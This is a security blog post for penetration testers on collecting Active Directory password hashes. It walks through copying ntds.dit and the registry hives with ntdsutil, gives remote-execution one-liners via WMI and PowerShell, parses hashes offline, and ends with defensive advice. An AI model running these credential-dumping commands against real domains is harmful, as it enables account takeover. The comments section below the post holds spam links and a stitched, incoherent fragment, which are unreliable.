Cracking AD Domain Passwords (Password Assessments) - Part 1 - Collecting Hashes

Published: 2018-02-26
Last Updated: 2018-02-26 13:23:00 UTC
by Rob VandenBrink (Version: 1)
5 comment(s)

In my last 2 posts we discussed recovering passwords in a penetration test, first by using password spraying and then by using LLMNR (using the responder tool).  In both cases we discussed that it’s pretty likely that you’ll recover domain admin credentials in these steps.

Where to go next?  The “gold” in password databases in most environments is Active Directory.  If you have that database, you’ve got *all* the credentials that have domain admin rights, all service passwords, credentials for IT folks, senior management, in most cases SQL passwords, linked Linux and Unix hosts, regular user and machine accounts, everything. 

First, we need to recover the actual database.  Let’s assume that you have at least one set of admin credentials and are operating from an internal host.  Connect to a domain controller – usually this is one of the DNS servers listed in the output of “ipconfig /all” on your host.  If you are on a Linux host, you’ll generally recover the DNS hosts from “cat /etc/resolv.conf”.  In both situations there’s dozens of ways to get the list of DNS hosts though, take your pick.  More accurate than collecting DNS servers though, if you are on Windows host and logged into the domain, you can get the logonserver Domain Controller hostname and DNS domain from local environment variables:

C:\>echo %logonserver%



C:\>echo %userdnsdomain%


Next, connect to a domain controller – keep it simple, if it’s enabled, RDP usually does the job here. 

From a command prompt on the domain controller, run (command and output shown below).  Note that you can also snag this data from volume shadow copies, using purpose-built tools such as mimikatz or ninjacopy.  I usually try to use actual Windows commands whenever possible though.  Using what’s already in the OS makes it that much more likely that what you are doing will look like normal system administration to anyone looking at event logs.  Usually there’s nobody looking, but as a pentester you’re always safest off to assume that someone is watching for all of your attacks – keeping under the radar is always the best approach.

Anyway, let’s proceed on using ntdsutil, which is installed on every Domain Controller (Windows 2000 and newer):

C:\Windows\system32>ntdsutil "ac i ntds" "ifm" "create full c:\temp\ntdsdump" q q
ntdsutil: ac i ntds
Active instance set to "ntds".
ntdsutil: ifm
ifm: create full c:\temp\ntdsdump
Creating snapshot...
Snapshot set {fd086867-d666-41de-89aa-ff1483aaf52c} generated successfully.
Snapshot {a943530a-4516-427d-8f20-2607a09fbb92} mounted as C:\$SNAP_201802251826
Snapshot {a943530a-4516-427d-8f20-2607a09fbb92} is already mounted.
Initiating DEFRAGMENTATION mode...
     Source Database: C:\$SNAP_201802251826_VOLUMEC$\Windows\NTDS\ntds.dit
     Target Database: c:\temp\ntdsdump\Active Directory\ntds.dit

                  Defragmentation  Status (% complete)

          0    10   20   30   40   50   60   70   80   90  100

Copying registry files...
Copying c:\temp\ntdsdump\registry\SYSTEM
Copying c:\temp\ntdsdump\registry\SECURITY
Snapshot {a943530a-4516-427d-8f20-2607a09fbb92} unmounted.
IFM media created successfully in c:\temp\ntdsdump
ifm: q
ntdsutil: q

You can run ntdsutil interactively, but for the purposes of collecting passwords a one liner gets the job done quickly and easily (and for me, with fewer typos).

If RDP isn’t available, you can collect the same information using a number of other native windows tools to run the same command remotely.

Using WMI:
Wmic /node:COMPUTER /user:DOMAIN\USERNAME /password:PASSWORD process call create “COMMAND”

Using PowerShell (WMI):
Invoke-WMIMethod -Class Win32_Process -Name Create –ArgumentList $COMMAND  –ComputerName $COMPUTER -Credential $CRED

(we covered how to create credentials in powershell here: 21779/)

Using WinRM:

Using PowerShell Remoting:
Invoke-Command –computername $COMPUTER -command {$COMMAND}
-Name PSCOMPUTER –ComputerName $COMPUTER; Enter-PSSession -Name PSCOMPUTER

OK, now that we have the data dumped, let’s take a look at our target data.  We have the SYSTEM and SECURITY registry hives, as well as the ntds.dit file.

C:\Temp\ntdsdump>dir /s
 Volume in drive C has no label.
 Volume Serial Number is 4E9A-6FF1
Directory of C:\Temp\ntdsdump
02/25/2018  06:26 PM    <DIR>          .
02/25/2018  06:26 PM    <DIR>          ..
02/25/2018  06:26 PM    <DIR>          Active Directory
02/25/2018  06:26 PM    <DIR>          registry
               0 File(s)              0 bytes

 Directory of C:\Temp\ntdsdump\Active Directory

02/25/2018  06:26 PM    <DIR>          .
02/25/2018  06:26 PM    <DIR>          ..
02/25/2018  06:26 PM        77,611,008 ntds.dit
               1 File(s)     77,611,008 bytes

 Directory of C:\Temp\ntdsdump\registry

02/25/2018  06:26 PM    <DIR>          .
02/25/2018  06:26 PM    <DIR>          ..
01/05/2018  11:25 AM           262,144 SECURITY
01/05/2018  11:25 AM        12,582,912 SYSTEM
               2 File(s)     12,845,056 bytes

     Total Files Listed:
               3 File(s)     90,456,064 bytes
               8 Dir(s)   9,891,127,296 bytes free

The next step is to combine these files and parse out the usernames and password hashes.  Again there are multiple methods of getting this done – I’ll go with the one I find quickest and easiest.

Copy our 3 files (ntds.dit, SECURITY and SYSTEM) offline, the rest of the attack happens offline and off your customer’s network.  Be sure that you are careful in handling these files, these do contain user credentials for your customers network (in a hashed form) – leaving them behind on your customer’s network is NOT advisable, and you’ll want to be careful where they land once you start processing them.

Next step, copy these files to your local Kali Linux VM, and combine / parse them using -ntds ntds.dit -system SYSTEM LOCAL –output ntds.out

This dumps the user credentials in the format of:


Where next?  John the Ripper or Hashcat to reverse the hashes in most cases.  Stay tuned for that in Thursday’s post!  Pass the Hash is another common use for hashes, especially if you don't want to wait for the cracking process.

Protections from this Attack:

Keep track of your domain admins for starters.  It’s very common to find dozens of members in the Domain Admins or Enterprise Admins groups.  Other admin groups need protection as well – Print Operators, Server Operators and Account Operators all have more rights than you want to casually give up.

Track logins to Domain Controllers.  Really you’ll want to pump up your logging to track both successful and unsuccessful logins, Domain wide (not just on your Domain Controllers).   Yes, specifics on getting to better Windows / AD logging is on my list too, unless another handler beats me to it!

Limit logins to Domain Controllers.  Most IT groups are a bit too (or way too) free and easy with interactive access to Domain Controllers.  Lots of AD operations can be run from "admin" workstations or servers set up as jump boxes - you don't need RDP access to a Domain Controller to create a userid or change a password for instance.  This is a combination of:

  • Better work habits - knowing when you need RDP and when you don't 
  • Least privilege access - knowing which job roles need that access, and who needs access to a script or needs the proper tools installed on their workstation.

Also you’ll want to log the creation of and any accesses to Volume Shadow Copies (the other common method of extracting the ntds.dit and system hive).

Unfortunately, the Domain Controller ntds database and system registry hive are accessed dozens if not hundreds (or even thousands) of times per second, logging direct access to those is tough.  There's no "silver bullet" setting in today's versions of Windows that will prevent or catch an attacker who gets far enough in to dump your NTDS.DIT database.

Rob VandenBrink

5 comment(s)
ISC Stormcast For Monday, February 26th 2018


What's this all about ..?
password reveal .
<a hreaf="">the social network</a> is described as follows because they respect your privacy and keep your data secure:

<a hreaf="">the social network</a> is described as follows because they respect your privacy and keep your data secure. The social networks are not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go.

<a hreaf="">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission
<a hreaf=""> public bathroom near me</a>
<a hreaf=""> nearest public toilet to me</a>
<a hreaf=""> public bathroom near me</a>
<a hreaf=""> public bathroom near me</a>
<a hreaf=""> nearest public toilet to me</a>
<a hreaf=""> public bathroom near me</a>
Enter comment here... a fake TeamViewer page, and that page led to a different type of malware. This week's infection involved a downloaded JavaScript (.js) file that led to Microsoft Installer packages (.msi files) containing other script that used free or open source programs.
distribute malware. Even if the URL listed on the ad shows a legitimate website, subsequent ad traffic can easily lead to a fake page. Different types of malware are distributed in this manner. I've seen IcedID (Bokbot), Gozi/ISFB, and various information stealers distributed through fake software websites that were provided through Google ad traffic. I submitted malicious files from this example to VirusTotal and found a low rate of detection, with some files not showing as malware at all. Additionally, domains associated with this infection frequently change. That might make it hard to detect.
Enter corthrthmment here...

Diary Archives